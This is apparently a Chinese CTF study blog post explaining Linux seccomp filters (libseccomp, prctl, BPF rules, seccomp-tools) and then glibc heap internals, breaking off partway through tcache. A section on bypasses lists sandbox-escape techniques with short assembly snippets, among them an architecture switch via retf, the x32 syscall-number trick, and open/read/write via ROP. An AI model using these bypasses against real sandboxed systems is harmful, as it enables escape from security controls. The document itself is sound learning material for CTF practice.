Seccomp_Before

1.常见Seccomp:

(1)库安装:

1
2
3
#注释头

apt install libseccomp-dev libseccomp2 seccomp

(2)正常的使用seccopm开启:

①先创建初始化scmp_filter_ctx结构体,并且给定初始规则:

scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_ALLOW);

这里将初始规则设置为SCMP_ACT_ALLOW,即允许所有的系统调用。另有规则如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#注释头

/**
* Kill the process
*/
#define SCMP_ACT_KILL_PROCESS 0x80000000U
/**
* Kill the thread
*/
#define SCMP_ACT_KILL_THREAD 0x00000000U
/**
* Kill the thread, defined for backward compatibility
*/
#define SCMP_ACT_KILL SCMP_ACT_KILL_THREAD
/**
* Throw a SIGSYS signal
*/
#define SCMP_ACT_TRAP 0x00030000U
/**
* Notifies userspace
*/
#define SCMP_ACT_NOTIFY 0x7fc00000U
/**
* Return the specified error code
*/
#define SCMP_ACT_ERRNO(x) (0x00050000U | ((x) & 0x0000ffffU))
/**
* Notify a tracing process with the specified value
*/
#define SCMP_ACT_TRACE(x) (0x7ff00000U | ((x) & 0x0000ffffU))
/**
* Allow the syscall to be executed after the action has been logged
*/
#define SCMP_ACT_LOG 0x7ffc0000U
/**
* Allow the syscall to be executed
*/
#define SCMP_ACT_ALLOW 0x7fff0000U

/* SECCOMP_RET_USER_NOTIF was added in kernel v5.0. */
#ifndef SECCOMP_RET_USER_NOTIF
#define SECCOMP_RET_USER_NOTIF 0x7fc00000U

②添加规则,即添加白名单或者黑名单:

seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);

这里将系统调用execve给禁止了。函数原型:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#注释头

/**
* Add a new rule to the filter
* @param ctx the filter context
* @param action the filter action
* @param syscall the syscall number
* @param arg_cnt the number of argument filters in the argument filter chain
* @param ... scmp_arg_cmp structs (use of SCMP_ARG_CMP() recommended)
*
* This function adds a series of new argument/value checks to the seccomp
* filter for the given syscall; multiple argument/value checks can be
* specified and they will be chained together (AND'd together) in the filter.
* If the specified rule needs to be adjusted due to architecture specifics it
* will be adjusted without notification. Returns zero on success, negative
* values on failure.
*
*/
int seccomp_rule_add(scmp_filter_ctx ctx,
uint32_t action, int syscall, unsigned int arg_cnt, ...);

即(结构体,规则,规则生效的系统调用,arg_cnt,scmp_arg_cmp)。

A.其中arg_cnt表示函数seccomp_rule_add后面传入参数的个数,如果为0,则直接禁止execve,后面的scmp_arg_cmp都不用赋值,赋值了也没用。

B.如果不为0,则再看之后seccomp_rule_add函数之后传入的参数,赋值为1,则只允许一条规则。赋值为2,则需同时满足之后的两条规则才会生效。例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#注释头

//从0开始计算参数个数
seccomp_rule_add(ctx,SCMP_ACT_KILL,SCMP_SYS(write),1,
SCMP_A2(SCMP_CMP_EQ,0x10));
write(1,"1234567812345678",0x10);//被拦截

seccomp_rule_add(ctx,SCMP_ACT_KILL,SCMP_SYS(write),2,
SCMP_A2(SCMP_CMP_EQ,0x10));
write(1,"1234567812345678",0x10);//不被拦截
//seccomp_rule_add参数个数设置为2,但是后续没有添加规则,则默认不满足,则不会生效

seccomp_rule_add(ctx,SCMP_ACT_KILL,SCMP_SYS(write),2,
SCMP_A2(SCMP_CMP_EQ,0x10),SCMP_A0(SCMP_CMP_EQ,1));
write(1,"1234567812345678",0x10);//被拦截

seccomp_rule_add(ctx,SCMP_ACT_KILL,SCMP_SYS(write),2,
SCMP_A2(SCMP_CMP_EQ,0x10),SCMP_A0(SCMP_CMP_EQ,1));
write(1,"1234567812345678",0x10);//不被拦截

但是使用seccomp,一旦被拦截,则程序直接打印错误信息并中断,无法执行之后的代码,规则如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#注释头

/**
* Specify an argument comparison struct for use in declaring rules
* @param arg the argument number, starting at 0
* @param op the comparison operator, e.g. SCMP_CMP_*
* @param datum_a dependent on comparison
* @param datum_b dependent on comparison, optional
*/
#define SCMP_CMP(...) ((struct scmp_arg_cmp){__VA_ARGS__})

/**
* Specify an argument comparison struct for argument 0
*/
#define SCMP_A0(...) SCMP_CMP(0, __VA_ARGS__)

/**
* Specify an argument comparison struct for argument 1
*/
#define SCMP_A1(...) SCMP_CMP(1, __VA_ARGS__)

/**
* Specify an argument comparison struct for argument 2
*/
#define SCMP_A2(...) SCMP_CMP(2, __VA_ARGS__)

/**
* Specify an argument comparison struct for argument 3
*/
#define SCMP_A3(...) SCMP_CMP(3, __VA_ARGS__)

/**
* Specify an argument comparison struct for argument 4
*/
#define SCMP_A4(...) SCMP_CMP(4, __VA_ARGS__)

/**
* Specify an argument comparison struct for argument 5
*/
#define SCMP_A5(...) SCMP_CMP(5, __VA_ARGS__)

/**
* Comparison operators
*/
enum scmp_compare {
_SCMP_CMP_MIN = 0,
SCMP_CMP_NE = 1, /**< not equal */
SCMP_CMP_LT = 2, /**< less than */
SCMP_CMP_LE = 3, /**< less than or equal */
SCMP_CMP_EQ = 4, /**< equal */
SCMP_CMP_GE = 5, /**< greater than or equal */
SCMP_CMP_GT = 6, /**< greater than */
SCMP_CMP_MASKED_EQ = 7, /**< masked equality */
_SCMP_CMP_MAX,
};

/**
* Argument datum
*/
typedef uint64_t scmp_datum_t;

/**
* Argument / Value comparison definition
*/
struct scmp_arg_cmp {
unsigned int arg; /**< argument number, starting at 0 */
enum scmp_compare op; /**< the comparison op, e.g. SCMP_CMP_* */
scmp_datum_t datum_a;
scmp_datum_t datum_b;
};

③启用seccomp保护:

seccomp_load(ctx);

利用seccomp_load函数加载启用保护。函数原型:

1
2
3
4
5
6
7
8
9
10
11
12
#注释头

/**
* Return the notification fd from a filter that has already been loaded
* @param ctx the filter context
*
* This returns the listener fd that was generated when the seccomp policy was
* loaded. This is only valid after seccomp_load() with a filter that makes
* use of SCMP_ACT_NOTIFY.
*
*/
int seccomp_notify_fd(const scmp_filter_ctx ctx);

这里传入scmp_filter结构体即可,如果不传入

以上的均可在seccomp.h中查看。

▲总的调用就是:

1
2
3
4
5
6
#注释头

scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_ALLOW);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
seccomp_load(ctx);

记得引用库:

1
2
3
4
#注释头

#include <seccomp.h>
#include <linux/seccomp.h>

2.Prtctl函数(/usr/includ/linux/prctl.h):

原型:

1
2
3
#注释头

int prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5);

这里的参数可以不需要全部设置上,其中option比较关键,在PWN中大致分以下情况:

(1)若option为PR_SET_NO_NEW_PRIVS(38):

此时将第二个参数arg2设置为1,那么程序的子线程就无法通过execve来提权,就是pwn kernel中即使改掉了cred结构体,使其特权为0,再执行system(“/bin/sh”)依然无法提权。即prctl(38, 1,0,0,0)表示禁用系统调用,也就是system和onegadget都没了,同时子进程也无法这样来获得shell。

(2)若option为PR_SET_SECCOMP(22):

此时可以通过参数来设置规则,道理和seccomp一样的,规则如下:

①如果arg2为SECCOMP_MODE_STRICT(1),则只允许调用read,write,_exit(这个exit不是退出程序的意思),sigreturn这几个syscall。即prctl(22,1,0,0,0)。

②如果arg2为SECCOMP_MODE_FILTER(2),则为过滤模式,其中对syscall的限制通过参数3的结构体,来自定义过滤规则,函数会重定向到另一个同名函数,该函数的原型如下:

1
2
3
#注释头

int prctl(int PR_SET_SECCOMP,const struct* sock_filter SECCOMP_MODE_FILTER,const sock_fprog prog);

但调用之前还是需要禁用execve,即调用形式为:

1
2
3
4
#注释头

prctl(PR_SET_NO_NEW_PRIVS,1,0,0,0); //这里是需要这么写的
prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&sfp);

A.参数SECCOMP_MODE_FILTER是一个结构体数组,该sock_filter结构体为:

1
2
3
4
5
6
7
8
#注释头

struct sock_filter { /* Filter block */
__u16 code; /* Actual filter code */
__u8 jt; /* Jump true */
__u8 jf; /* Jump false */
__u32 k; /* Generic multiuse field */
};

a.code:一个字节,详细定义操作的类型,假设code为0x15

先看前四位:

1
2
3
4
5
6
7
8
9
10
11
#注释头

#define BPF_CLASS(code)
#define BPF_LD 0x00
#define BPF_LDX 0x01
#define BPF_ST 0x02
#define BPF_STX 0x03
#define BPF_ALU 0x04
#define BPF_JMP 0x05
#define BPF_RET 0x06
#define BPF_MISC 0x07

这里前四位就是0x5,所以对应到之后的四位定义域中去:

1
2
3
4
5
6
7
8
9
#注释头

/*jmp fields */
#define BPF_JA 0x00
#define BPF_JEQ 0x10
#define BPF_JGT 0x20
#define BPF_JGE 0x30
#define BPF_JSET 0x40
#define BPF_SRC(code) ((code) & 0x08)

那么这个0x15的操作就是BPF_JMP+BPF_JEQ。

▲同理,ld、ldx、ALU都有对应的定义域:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#注释头

/*ld fields */
#define BPF_W 0x00
#define BPF_H 0x08
#define BPF_B 0x10

/*ldx fields */
#define BPF_IMM 0x00
#define BPF_ABS 0x20
#define BPF_IND 0x40
#define BPF_MEM 0x60
#define BPF_LEN 0x80
#define BPF_MSH 0xa0

/*alu fields */
#define BPF_ADD 0x00
#define BPF_SUB 0x10
#define BPF_MUL 0x20
#define BPF_DIV 0x30
#define BPF_OR 0x40
#define BPF_AND 0x50
#define BPF_LSH 0x60
#define BPF_RSH 0x70
#define BPF_NEG 0x80
#define BPF_MOD 0x90
#define BPF_XOR 0xa0

/*常数*/
#define BPF_K 0x00
#define BPF_X 0x08

而RET一般对应BPF_K,然后在之后参数上写SECCOMP_RET_KILL或者SECCOMP_RET_ALLOW。MISC倒是没见过。

b.JT和JF:是相对于当前语句的偏移。例如(1,0),假设当前语句为0003,则代表之前语句为真,则跳转到0005,为假则跳转到0004。所以如果都是0,相当于是个无跳转语句,如果都是1,相当于是跳过下一条语句。

c.K:可以当作一个参数。如果操作语句是比较,那么就相当于比较的右值A>=K?。以此类推。这个参数的值是从seccomp_data中:

1
2
3
4
5
6
7
8
9
#注释头

(<linux/audit.h> )
struct seccomp_data {
int nr; /* System call number */
__u32 arch; /* AUDIT_ARCH_* value*/
__u64 instruction_pointer; /* CPU instruction pointer */
__u64 args[6]; /* Up to 6 system call arguments */
};

值即代表偏移,偏移字长为一个字节:

K==0,代表nr;K==4,代表arch;K==8,代表args[0]。而args六个值相当于传参寄存器的值:ebx,ecx,edx,esi,edi,ebp(32位),rdi,rsi,rdx,r10,r8,r9(64位)

▲所以(0x15,0x00,0x01,0x0000003b)就代表if (A!= execve) goto offset_1。这里也可以用一个简单的操作来替代:BPF_JUMP(BPF_JMP+BPF_JEQ,59,0,1)。定义规则就可以如下:

1
2
3
4
5
6
7
8
#注释头

struct sock_filter sfi[] = {
{0x20,0x00,0x00,0x00000000},
{0x15,0x00,0x01,0xc000003b},
{0x06,0x00,0x00,0x00000000}, //KILL
{0x06,0x00,0x00,0x7fff0000} //ALLOW
};

或者

1
2
3
4
5
6
7
8
#注释头

struct sock_filter filter[] = {
BPF_STMT(BPF_LD+BPF_W+BPF_ABS,0),
BPF_JUMP(BPF_JMP+BPF_JEQ,59,0,1),
BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_KILL),
BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_ALLOW),
};

由于在/usr/include/linux/bpf_common.h有宏定义,所以第二种情况也是可以的。

B.sfp也是一个结构体:

1
2
3
4
5
6
#注释头

struct sock_fprog { /* Required for SO_ATTACH_FILTER. */
unsigned short len; /* Number of filter blocks */
struct sock_filter *filter;
};

a.len即代表语句条数,比如上面的就是4;

b.filter就是指向上面SECCOMP_MODE_FILTER这个结构体的指针。

▲所以完整的就是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#注释头

struct sock_filter sfi[] = {
BPF_STMT(BPF_LD+BPF_W+BPF_ABS,0),
BPF_JUMP(BPF_JMP+BPF_JEQ,59,0,1),
BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_KILL),
BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_ALLOW),
};
struct sock_fprog sfp = {
(unsigned short)(sizeof(filter)/sizeof(filter[0])),
sfi,
};
prctl(PR_SET_NO_NEW_PRIVS,1,0,0,0);
prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&prog);

这样设置后,出来的效果如下:

1
2
3
4
5
6
7
8
9
#注释头

root@241adce81c0a:/ctf/seccomp# seccomp-tools dump ./prctl_test2
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000000 A = sys_number
0001: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0003
0002: 0x06 0x00 0x00 0x00000000 return KILL
0003: 0x06 0x00 0x00 0x7fff0000 return ALLOW

3.简单的seccomp规则写:

(1)依据简单语法写规则:

1
2
3
4
5
6
7
8
9
10
#注释头

A = sys_number
A == 257? e0:next
A == 1? ok:next
return ALLOW
e0:
return ERRNO(0)
ok:
return ALLOW

保存为seccomp_asm

(2)利用seccomp-tools来生成:

seccomp-tools asm seccomp_asm -f raw|seccomp-tools disasm -

1
2
3
4
5
6
7
8
9
10
#注释头

line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000000 A = sys_number
0001: 0x15 0x02 0x00 0x00000101 if (A == openat) goto 0004
0002: 0x15 0x02 0x00 0x00000001 if (A == write) goto 0005
0003: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0004: 0x06 0x00 0x00 0x00050000 return ERRNO(0)
0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW

这样就可以方便写规则了,同样有个seccomp_bpf.h的东西,比较简单:

secfilter/seccomp-bpf.h at master · ahupowerdns/secfilter · GitHub

4.常见种类及绕过方式:

(1)禁用execve函数时,但是需要getshell才行,此时存在满足一定条件可以使用shellcode:

①未检查arch:

尝试使用shellcode将处理器转换,如果是x64则转为i386,同理类似。这样系统调用号11就不会被解析为64位中的__x64_sys_munmap,而是32位中的sys_execve,绕过检查。

1
2
3
4
5
6
7
8
9
#注释头

to32:
mov DWORD [rsp+4],0x23;
retf;

to64:
mov DWORD [esp+4],0x33;
retf;

由于retf的指令实际效果为:POP CS:EIP,这里CS为0x23即为64位,0x33即为32位,所以如果能找到控制栈的gadget那其实也可以直接用retf,毕竟retf其实也挺常见的。同时还有其他的好用ret指令:

1
2
3
4
5
#注释头

RETQ:POP RIP
RETN: POP EIP
RETF: POP CS:EIP

参考SCTF2020里面的CoolCode

②存在检查漏洞:if (A < 0x40000000),如果对A >= 0x40000000没有限制,那么可以利用64位下的x32漏洞,使用 64位的存器地址和 32位的地址:

具体原理不太懂,应该是传参原因吧,可能syscall的系统调用号寄存器为eax,导致系统调用号0x40000003b绕过if (A < 0x40000000)检查,然后以eax传入系统调用号为0x0000003b,仍然执行了execve。

这样的话在原来的系统调用号加上0x400000000即可绕过检查:

1
2
3
4
#注释头

mov rax,59+0x40000000;
syscall;

(2)禁用evecve等函数,告诉了flag位置,或者将flag位置什么的放在了栈上(可以用peda插件:find flag),又或者需要自己调试爆破flag的位置,不能getshell的,利用open,write,read等没有被禁用的函数进行读取:

①shellcode模式:这里就根据各种规则限制来绕过,自己编写shellcode。(这个需要汇编基础,遇到题目慢慢学吧)

②ROP模式:一般需要劫持栈再来ROP,其实和shellcode差不多的。这种情况一般是禁用了mprotect,所以没办法直接使用shellcode了,那么就利用ROP来搞,借助libc上的syscall。但是这里的open不知道为什么有时候执行不了,所以可以用借助syscall加上open的系统调用号来执行open。

如果没有禁止mprotect,那么通常可以配合SigreturnFrame(),free_hook,setcontext来将堆上内存权限改为可执行,然后再在堆上使用shellcode也可以。

▲有些禁用了open,write,read,那么其实这种情况下可以调用对应的openat,readv,和writev,其实效果一样的,因为前面三个函数其实都对应调用后面的三个函数。如果实在没办法打印,可以利用题目中的错误信息输出,修改IO_FILE来打印,读取。还有更强的用ptrace修改系统调用号,zer0pts CTF2020的sycall kit。实在找不到,后面再补坑吧。

(3)控制了open,write,read的参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#注释头

0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0b 0xc000003e if (A != ARCH_X86_64) goto 0013
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x08 0xffffffff if (A != 0xffffffff) goto 0013
0005: 0x15 0x06 0x00 0x00000002 if (A == open) goto 0012
0006: 0x15 0x00 0x06 0x00000000 if (A != read) goto 0013
0007: 0x20 0x00 0x00 0x00000014 A = fd >> 32 # read(fd, buf, count)
0008: 0x25 0x03 0x00 0x00000000 if (A > 0x0) goto 0012
0009: 0x15 0x00 0x03 0x00000000 if (A != 0x0) goto 0013
0010: 0x20 0x00 0x00 0x00000010 A = fd # read(fd, buf, count)
0011: 0x35 0x00 0x01 0x00000004 if (A < 0x4) goto 0013
0012: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0013: 0x06 0x00 0x00 0x00000000 return KILL
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#注释头

0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x12 0xc000003e if (A != ARCH_X86_64) goto 0020
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x0f 0xffffffff if (A != 0xffffffff) goto 0020
0005: 0x15 0x0d 0x00 0x00000002 if (A == open) goto 0019
0006: 0x15 0x0c 0x00 0x00000003 if (A == close) goto 0019
0007: 0x15 0x0b 0x00 0x0000000a if (A == mprotect) goto 0019
0008: 0x15 0x0a 0x00 0x000000e7 if (A == exit_group) goto 0019
0009: 0x15 0x00 0x04 0x00000000 if (A != read) goto 0014
0010: 0x20 0x00 0x00 0x00000014 A = fd >> 32 # read(fd, buf, count)
0011: 0x15 0x00 0x08 0x00000000 if (A != 0x0) goto 0020
0012: 0x20 0x00 0x00 0x00000010 A = fd # read(fd, buf, count)
0013: 0x15 0x05 0x06 0x00000000 if (A == 0x0) goto 0019 else goto 0020
0014: 0x15 0x00 0x05 0x00000001 if (A != write) goto 0020
0015: 0x20 0x00 0x00 0x00000014 A = fd >> 32 # write(fd, buf, count)
0016: 0x15 0x00 0x03 0x00000000 if (A != 0x0) goto 0020
0017: 0x20 0x00 0x00 0x00000010 A = fd # write(fd, buf, count)
0018: 0x15 0x00 0x01 0x00000001 if (A != 0x1) goto 0020
0019: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0020: 0x06 0x00 0x00 0x00000000 return KILL

类似这种限制fd的,可以先close再open,改变fd,同样对应参数也可以适当做一些修改来绕过。

参考资料:

seccomp沙盒逃逸基础——沙盒的规则编写 - p0lar1s - 博客园 (cnblogs.com)

(´∇`) 被你发现啦~ seccomp学习笔记 | A1ex’s Blog

PWN题中常见的seccomp绕过方法 - 安全客,安全资讯平台 (anquanke.com)

Seccomp从0到1 - 安全客,安全资讯平台 (anquanke.com)

等等,贴不过来了。

堆前置知识总结

一、main_arena总概

1.arena:

堆内存本身

(1)主线程的main_arena:

由sbrk函数创建。

  • 最开始调用sbrk函数创建大小为(128 KB + chunk_size) align 4KB 的空间作为 heap

  • 当t不够用时,用sbrk或者mmap增加heap大小。

(2)其它线程的per thread arena:

由mmap创建。

  • 最开始调用 mmap 映射一块大小为HEAP_MAX_SIZE(32 位系统上默认为 1MB,64 位系统上默认为 64MB)的空间作为 sub-heap。

  • 当不够用时,会调用 mmap 映射一块新的 sub-heap,也就是增加 top chunk 的大小,每次 heap 增加的值都会对齐到4KB。

2.malloc_state:

管理arena的一个结构,包括堆状态信息,bins链表等等

(1)main_arena

对应的malloc_state结构的全局指针存储在glibc的全局变量中

(如果可以泄露malloc_state结构体的地址,那么就可以泄露glibc的地址)

(2)per thread arena

对应的malloc_state存储在各自本身的arena

3.bins:

用链表结构管理空闲的chunk块,通过free释放进入的chunk块(垃圾桶)

4.chunks:

一般意义上的堆内存块

1
2
3
4
5
6
7
8
9
10
11
12
13
#注释头

struct malloc_state{
mutex_t mutex;//(相当于多线程的互斥锁)
int flags;//(记录分配器的一些标志,bit0 用于标识分配区是否包含至少一个 fast bin chunk,bit1 用于标识分配区是否能返回连续的虚拟地址空间。)
mfastbinptr fastbinsY[NFASTBINS];//(一个数组,里面的元素是各个不同大小的fastbins的首地址)
mchunkptr top;//(top chunk的首地址)
mchunkptr last_remainder;//(某些情况下切割剩下来的堆块)
mchunkptr bins[NBINS*2-2];
.......................................................
unsigned int binmap[BINMAPSIZE];//(以bit为单位的数组,共128bit,16个字节,4个int,由于bin的数量为128,对于这里面的128bit,为0表该bin没用有空闲块,为1表有空闲块。通过四个int的大小可以找出不同index的bin中是否有空闲块。这个在某些时候会用到。)
......//后面还有,不太重要
}

▲内存中的堆情况:

全局变量glibc:main_arena = struct malloc_state:

mutes bin ….. top lastremainder
Allocated chunk Allocated chunk Freechunk1 Allocated chunk Freechunk2 Allocated chunk Topchunk

低地址————————————————————- ——————>高地址

由sbrk创建的main_arena:

  • 可以把bin也当作一个chunk,不同Bins管理结构不同,有单向链表管理和双向链表管理。

  • top里的bk保存Topchunk的首地址。

(bk和fd只用于Bins链表中,allocated_chunk中是属于用户可以使用的内容)

二、chunk结构:

1.chunk状态

(1)allocated_chunk:

img

(2)free_chunk:

img

2.prev_size:

8字节,保存前一个chunk的大小,在allocatedchunk中属于用户数据,参考上述的图片,free_chunk的下一个chunk的pre_size位为该free_chunk的size。

3.size:

(1)size含义

8字节,保存当前chunk大小。(free和allocated都有用)一个chunk的size以0x10递增,以0x20为最小chunk。

  • malloc(0x01):会有0x20这么大,实际用户可用数据就是0x18。size=0x21

  • malloc(0x01-0x18):仍然0x20这么大,实际用户可用数据就是0x18。size=0x21

  • malloc(0x18):会有0x30这么大,实际用户可用数据是0x28。size=0x31

所以size这个8字节内存的最低4位都不会被用到,所以malloc管理机制给最低的3位搞了个特殊形式标志位,A,M,P,分别代表不同内容。

(2)AMP标志位

①A:NON_MAIN_ARENA

代表是否属于非main_arena,1表是,0表否。就是线程的不同。

1
2
3
#注释头

#define chunk_non_main_arena(p) ((p)->size & NON_MAIN_ARENA)

②M:IS_MMAPPED

代表当前chunk是否是mmap出来的。

1
2
3
#注释头

#define chunk_is_mmapped(p) ((p)->size & IS_MMAPPED)

③P:PREV_INUSE

代表前一个chunk是否正在被使用,处于allocated还是free。

1
2
3
#注释头

#define prev_inuse(p) ((p)->size & PREV_INUSE)

(标志位为1都代表是,0都代表否)

三、bins结构:

1.fastbins

放在struct malloc_state中的mfastbinptr fastbinsY[NFASTBINS]数组中。

(1)归类方式:

只使用fd位

  • bin的index为1,bins[0],bins[1]组成一个bin。

  • 规定大小的chunk归到一类,但个数有限,不同版本不同,同时也可以设置其范围:

M_MXFAST即为其最大的参数,可以通过 mallopt()进行设置,但最大只能是80B。

img

(2)单向链表:

▲例子:a=malloc(0x10); b=malloc(0x10); c=malloc(0x10); d=malloc(0x10)

FastbinY,d,c,b,a

  • free(a)之后:
1
2
3
#注释头

fastbinY[0x20]->a; a.fd=0
  • free(b)之后:
1
2
3
#注释头

fastbinY[0x20]->b; b.fd=a a.fd=0
  • free(c)之后:
1
2
3
#注释头

fastbinY[0x20]->c; c.fd=b b.fd->a; a.fd=0
  • free(d)之后:
1
2
3
#注释头

fastbinY[0x20]->d; d.fd=c c.fd->b; b.fd->a; a.fd=0

(3)后进先出:

  • m=malloc(0x10): m->d

  • n=malloc(0x10): n->c

(4)IN_USE位:

如果某个chunk进入到fastbin中,那么该chunk的下一个chunk的IN_USE位还是为1,不会改变成0。

例子:a=malloc(0x10); b=malloc(0x10); c=malloc(0x10);

  • free(a)之后: b.p=1

  • free(b)之后: c.p=1; b.p=1

p位不会变成0,如果该chunk进入到fastbins中。

可以进行free(0),free(1),free(0),但是不能直接free(0)两次。

(5)注意

除了malloc_consolidate函数会清空fastbins,以及在tcache下存在fastbin_reverseTo_tcache外,其它的操作都不会减少fastbins中chunk的数量。

2.smallbins:

放在bins[2]-bins[125]中,共计62组,是一个双向链表。最大chunk的大小不超过1024字节

(1)归类方式:

  • 相同大小的chunk归到一类:大小范围[0x20,0x3f0],0x20、0x30、….0x3f0。每组bins中的chunk大小一定。

  • 每组bin中的chunk大小有如下关系:Chunk_size=2 * SIZE_SZ * index,index即为2-63,下图中64即为largebins的范围了。(SIZE_SZ在32,64位下分别位4,8。)

img

(2)双向链表:

▲例子:a=malloc(0x100); b=malloc(0x100); c=malloc(0x100)

  • free(a)之后: smallbin,a
1
2
3
4
#注释头

smallbin.bk->a; a.bk->smallbin;
samllbin.fd->a a.fd->smallbin;
  • free(b)之后: smallbin,b,a
1
2
3
4
#注释头

smallbin.bk->a; a.bk->b b.bk->smallbin
smallbin.fd->b; b.fd->a a.fd->smallbin
  • free(c)之后: smallbin,c,b,a
1
2
3
4
#注释头

smallbin.bk->a; a.bk->b b.bk->c c.bk->smallbin
smallbin.fd->c; c.fd->b b.fd->a a.fd->smallbin

(fd,bk为bins[n],bins[n+1]。fd和bk共同构成一个Binat。)

(3)先进先出:

  • m=malloc(0x100): m->a

  • n=malloc(0x100): n->b

3.largebins

放在bins[126]-bins[251],共计63组,bin的index为64-126,最小chunk的大小不小于1024个字节。

(1)归类方式:

范围归类,例如bins[126]-bins[127]中保存chunk范围在[0x400,0x440]。且chunk在一个bin中按照从大到小排序,便于检索。其它与smallbins基本一致。

①范围模式:

由以下代码定义范围:

1
2
3
4
5
6
7
8
9
#注释头

#define largebin_index_64(sz)
(((((unsigned long) (sz)) >> 6) <= 48) ? 48 + (((unsigned long) (sz)) >> 6) :
((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :
((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :
((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :
((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :
126)

②范围具体实例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#注释头

size index
[0x400 , 0x440) 64
[0x440 , 0x480) 65
[0x480 , 0x4C0) 66
[0x4C0 , 0x500) 67
[0x500 , 0x540) 68
等差 0x40
[0xC00 , 0xC40) 96
[0xC40 , 0xE00) 97
[0xE00 , 0x1000) 98
[0x1000 , 0x1200) 99
[0x1200 , 0x1400) 100
[0x1400 , 0x1600) 101
等差 0x200
[0x2800 , 0x2A00) 111
[0x2A00 , 0x3000) 112
[0x3000 , 0x4000) 113
[0x4000 , 0x5000) 114
等差 0x1000
[0x9000 , 0xA000) 119
[0xA000 , 0x10000) 120
[0x10000 , 0x18000) 121
[0x18000 , 0x20000) 122
[0x20000 , 0x28000) 123
[0x28000 , 0x40000) 124
[0x40000 , 0x80000) 125
[0x80000 , …. ) 126

(2)双向链表:

①取用排列:

首先依据fd_nextsize,bk_nextsize两个指针大小找到适合的,然后按照正常的FIFO先进先出原则,通过fd,bk来排列。

②大小排列:

每个进入largebin的chunk

其chunk_addr+0x20处即为其fd_nextsize指针,chunk_addr+0x28处为其bk_nextsize指针。

然后通过fd_nextsize,bk_nextsize两个指针依据从大至小的顺序排列:

img

(这张图片我也忘记从哪里整的了…侵删)

其中size顺序为:D>C>B>A,但是释放顺序却不一定是这样的。设置这个的原因是当申请特定大小的堆块时,可以据此来快速查找,提升性能。

(3)特殊解链:

由于largebin中会存在fd_nextsize指针和bk_nextsize指针,所以通常的largebin_attack就是针对这个进行利用的。

借用星阑科技的一张图说明一切:

img

4.unsortedbins

bins[0]和bins[1]中,bins[0]为fd,bins[1]为bk,bin的index为1,双链表结构。

(1)归类方式:

只有一个bin,存放所有不满足fastbin,未被整理的chunk。

(2)双向链表:

a=malloc(0x100); b=malloc(0x100); c=malloc(0x100)

  • free(a)之后: unsortedbin,a
1
2
3
4
#注释头

unsortedbin.bk->a; a.bk->unsortedbin;
unsortedbin.fd->a; a.fd->unsortedbin;
  • free(b)之后: unsortedbin,b,a
1
2
3
4
#注释头

unsortedbin.bk->a; a.bk->b b.bk->unsortedbin
unsortedbin.fd->b; b.fd->a a.fd->unsortedbin
  • free(c)之后: unsortedbin,c,b,a
1
2
3
4
#注释头

unsortedbin.bk->a; a.bk->b b.bk->c c.bk->unsortedbin
unsortedbin.fd->c; c.fd->b b.fd->a a.fd->unsortedbin

(3)先进先出:

  • m=malloc(0x100): m->a

  • n=malloc(0x100): n->b

▲依据fd来遍历:

如果fd链顺序为A->B->C

那么解链顺序一定是先解C,再解B,再解A。

5、Tcache机制:

从libc-2.26及以后都有:先进后出,最大为0x410

(1)结构:

①2.29以下

无key字段的tcache,结构大小为0x240,包括chunk头则占据0x250:

1
2
3
4
5
6
7
#注释头

typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];//0x40
tcache_entry *entries[TCACHE_MAX_BINS];//0x40
} tcache_perthread_struct;
counts:

是个数组,总共64个字节,对应tcache的64个bin,每个字节代表对应bin中存在chunk的个数,所以每个字节都会小于8,一般使用

1
2
3
4
#注释头

tc_idx = csize2tidx (size);
